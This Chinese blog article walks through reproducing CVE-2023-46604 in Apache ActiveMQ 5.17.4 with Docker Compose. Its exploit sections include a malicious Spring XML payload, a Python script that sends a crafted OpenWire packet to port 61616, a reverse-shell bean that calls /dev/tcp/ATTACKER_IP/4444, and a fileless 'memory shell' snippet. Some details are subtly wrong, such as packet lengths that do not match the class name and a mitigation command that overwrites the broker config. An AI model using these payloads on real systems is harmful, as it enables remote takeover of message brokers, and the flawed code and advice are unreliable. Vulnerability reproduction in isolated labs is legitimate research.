当前位置: 首页 > news >正文

Apache ActiveMQ 5.17.4 漏洞环境一键搭建:Docker Compose 3步复现 CVE-2023-46604

Apache ActiveMQ 5.17.4 漏洞环境一键搭建:Docker Compose 3步复现 CVE-2023-46604

消息中间件在现代分布式系统中扮演着关键角色,而Apache ActiveMQ作为其中广泛应用的开源解决方案,其安全性直接关系到企业数据流转的可靠性。2023年曝光的CVE-2023-46604漏洞因其远程代码执行的高危特性,迅速成为安全研究的热点。本文将提供一种基于Docker的极简复现方案,帮助安全从业者在隔离环境中快速验证漏洞影响。

1. 漏洞背景与技术原理

CVE-2023-46604本质是OpenWire协议中的反序列化缺陷,当攻击者向61616端口发送特制数据包时,可触发Spring框架的XML外部实体处理机制。关键点在于:

  • 协议层缺陷:OpenWire未对序列化类名进行严格校验
  • 利用链构造:通过ClassPathXmlApplicationContext加载远程恶意配置
  • 执行上下文:ActiveMQ服务进程权限(通常为root或activemq用户)

受影响版本包括:

主版本号安全修复版本
5.18.x>= 5.18.3
5.17.x>= 5.17.6
5.16.x>= 5.16.7
<5.15.x>= 5.15.16

注:该漏洞利用不依赖Web管理界面(8161端口),仅需TCP端口可达

2. 环境搭建准备

传统漏洞复现方式需要手动安装Java环境、下载特定版本ActiveMQ并配置系统服务,过程繁琐且易出错。我们采用容器化方案解决以下痛点:

  • 依赖隔离:避免与宿主机Java环境冲突
  • 快速重置:秒级重建原始漏洞环境
  • 网络控制:限制容器网络暴露范围

所需工具:

  • Docker Engine >= 20.10
  • docker-compose >= 1.29
  • curl(用于验证服务状态)

3. 一键部署漏洞环境

3.1 编写docker-compose.yml

创建以下编排文件,特别注意ACTIVEMQ_VERSION和端口映射:

version: '3.8' services: activemq: image: apache/activemq:5.17.4 container_name: activemq-rce ports: - "61616:61616" - "8161:8161" environment: - ACTIVEMQ_ADMIN_LOGIN=admin - ACTIVEMQ_ADMIN_PASSWORD=admin healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8161"] interval: 10s timeout: 5s retries: 3

关键参数说明:

  • image:精确指定存在漏洞的5.17.4版本
  • ports:暴露61616(漏洞端口)和8161(管理界面)
  • healthcheck:自动检测服务可用性

3.2 启动容器集群

执行以下命令完成部署:

# 拉取镜像并启动服务 docker-compose up -d # 验证容器状态(应显示healthy) docker ps --filter "name=activemq-rce" --format "table {{.Names}}\t{{.Status}}"

预期输出:

NAMES STATUS activemq-rce Up 2 minutes (healthy)

3.3 验证基础服务

通过管理界面确认ActiveMQ正常运行:

# 获取管理界面访问URL(替换实际IP) echo "管理地址:http://$(hostname -I | awk '{print $1}'):8161"

登录凭证:

  • 用户名:admin
  • 密码:admin

4. 漏洞验证与利用

4.1 准备攻击载荷

创建恶意XML配置文件poc.xml

<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="payload" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>touch</value> <value>/tmp/rce_success</value> </list> </constructor-arg> </bean> </beans>

启动临时HTTP服务托管该文件:

python3 -m http.server 8888

4.2 执行漏洞利用

使用以下Python脚本发起攻击(需替换YOUR_IP):

import socket target = '127.0.0.1' port = 61616 xml_url = 'http://YOUR_IP:8888/poc.xml' payload = ( b"\x00\x00\x00\x1f" # Frame size b"\x01" # Data type: ExceptionResponse b"\x00\x00\x00\x01" # CorrelationId b"\x01" # ResponseRequired b"\x01" # ClassName present b"\x00\x00\x00\x2d" # ClassName length b"org.springframework.context.support.ClassPathXmlApplicationContext" b"\x01" # Message present b"\x00\x00\x00" + bytes([len(xml_url)]) + xml_url.encode() ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target, port)) sock.send(payload) sock.close()

4.3 验证执行结果

进入容器检查命令是否执行:

docker exec activemq-rce ls -la /tmp/rce_success

成功执行后将显示:

-rw-r--r-- 1 root root 0 May 15 10:30 /tmp/rce_success

5. 高级利用技巧

5.1 反弹Shell配置

修改poc.xml实现交互式访问:

<bean id="reverse_shell" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value>bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4444 0&gt;&amp;1</value> </list> </constructor-arg> </bean>

5.2 内存马注入

通过Java反射实现无文件驻留:

<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetClass" value="java.lang.Class"/> <property name="targetMethod" value="forName"/> <property name="arguments" value="javax.script.ScriptEngineManager"/> </bean>

5.3 网络隔离方案

限制容器网络暴露,增强安全性:

# 在docker-compose.yml中添加 networks: internal: driver: bridge internal: true

6. 防御与修复建议

6.1 临时缓解措施

# 防火墙立即阻断61616端口 sudo iptables -A INPUT -p tcp --dport 61616 -j DROP # 修改ActiveMQ配置限制访问 echo "transportConnectors=stomp+nio://0.0.0.0:61613" > conf/activemq.xml

6.2 终极解决方案

升级到安全版本:

# 修改docker-compose.yml中的image标签 image: apache/activemq:5.17.6

版本选择建议:

  • 生产环境:5.18.3+
  • 旧版迁移:5.16.7+

7. 研究价值延伸

该漏洞为研究Java反序列化提供了典型样本,建议进一步探索:

  • OpenWire协议逆向分析
  • Spring框架XML处理机制
  • 容器化漏洞靶场的自动化构建

在实验结束后,使用以下命令彻底清理环境:

docker-compose down --volumes rm -f poc.xml
http://www.jsqmd.com/news/1155133/

相关文章:

  • PyTorch Tensor 数据类型选择指南:FP16/BF16/FP32 在 RTX 4090 上的3倍速度对比
  • TMC7300与PIC18F4455驱动有刷直流电机方案解析
  • 基于TC78H651AFNG的高效直流有刷电机驱动方案
  • Trae AI编程实践:面向Java+Vue全栈开发者的智能协作工作台
  • Vue CLI 与 Vite 项目中 Sass/Less 混用实践:3个步骤解决第三方 UI 库样式覆盖
  • 对标“新双高”与“人工智能+教育”:未来实训中心如何落地
  • 饥荒 Mod 开发:F5/F6 键实现手动存档/读档,覆盖 2 种游戏场景
  • STM32F427ZI与CMT-8540S-SMT嵌入式音频开发实战
  • STM32 DS18B20温度采集优化:3种滤波算法对比与±0.1℃精度实现
  • 微信自动回复开发的两大Python防线
  • 基于MK64FN1M0VDC12与MCP3202的锂电池电压平衡系统设计
  • 工业负载控制:智能功率驱动器(IPD)选型与应用
  • OpenProject:如何用开源方案解决企业级项目管理的五大核心痛点
  • 东芝TC78H651AFNG与PIC18F4458的直流电机驱动方案
  • Cherry MX键帽3D模型库:打造你的专属机械键盘设计指南
  • 谷歌浏览器国内直连下载地址
  • 企业级GEO服务选型与采购白皮书 ——2026年企业AI时代品牌心智占位的实战指南
  • Poppler Windows预编译包:告别PDF处理依赖噩梦的终极解决方案
  • 香橙派5 PWM风扇调速:3种硬件方案对比与MOSFET选型指南
  • Scan Context 源码部署实战:C++/Python 双版本环境配置与 KITTI 数据集测试
  • TPA3128D2与R7FA6M4AF3CFB的高效音频系统设计
  • GitHub Copilot年费退款指南:14天窗口期与使用日志验证
  • 针孔与鱼眼相机模型 OpenCV 4.8 实战:5步完成图像去畸变与坐标转换
  • TPA3128D2与PIC18LF46K40打造高效音频放大器
  • 2026成都黄金回收白银回收铂金回收靠谱临街实体公安备案支持到店核验门店联系方式推荐
  • SSH vs SSM 框架选型:从 3 个遗留项目迁移案例看技术栈演进
  • FastAPI Agent生产部署:Nginx+Uvicorn+Redis全链路交付实战
  • MCP3551与PIC18F2550高精度数据采集方案详解
  • 直流负载管理优化:固态继电器与MCU的高效控制方案
  • 3D Gaussian Splatting 代码复现实战:Ubuntu 20.04 + RTX 4090 环境配置与 30 分钟训练指南